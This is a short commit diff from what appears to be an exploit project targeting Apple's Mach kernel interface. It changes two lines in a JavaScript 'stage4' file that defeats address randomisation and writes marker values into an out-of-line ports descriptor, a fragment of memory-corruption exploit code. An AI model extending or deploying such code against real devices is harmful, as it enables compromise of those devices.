diff options
| author | spv420 <spv@spv.sh> | 2022-07-31 22:58:27 -0400 |
|---|---|---|
| committer | spv420 <spv@spv.sh> | 2022-07-31 22:58:27 -0400 |
| commit | 4c1c94baadd86802320cb1fd9b058df98a3b78ad (patch) | |
| tree | e78477819572c69192a8571419ea0817c44e78f1 /src/stage4/main.js | |
| parent | 912f8ee96e1cc4783220d90864d73401a714b36d (diff) | |
w00t
Diffstat (limited to 'src/stage4/main.js')
| -rw-r--r-- | src/stage4/main.js | 4 |
1 files changed, 2 insertions, 2 deletions
diff --git a/src/stage4/main.js b/src/stage4/main.js index 7e79786..1420246 100644 --- a/src/stage4/main.js +++ b/src/stage4/main.js @@ -64,8 +64,8 @@ function main() { var np2 = new native_ptr_u32(UNSLID_BASE + (get_our_slide() << 12)); var np3 = new native_ptr_u16_2(UNSLID_BASE + (get_our_slide() << 12)); - var addy = shit_heap(12); - var np4 = new mach_msg_ool_ports_descriptor_t(addy); + var np4 = new mach_msg_ool_ports_descriptor_t(); + var addy = np4.addy; write_u32(addy, 0x41414141); write_u32(addy + 4, 0x42424242); write_u32(addy + 8, ((19 << 16) + (MACH_MSG_OOL_PORTS_DESCRIPTOR << 24))); |
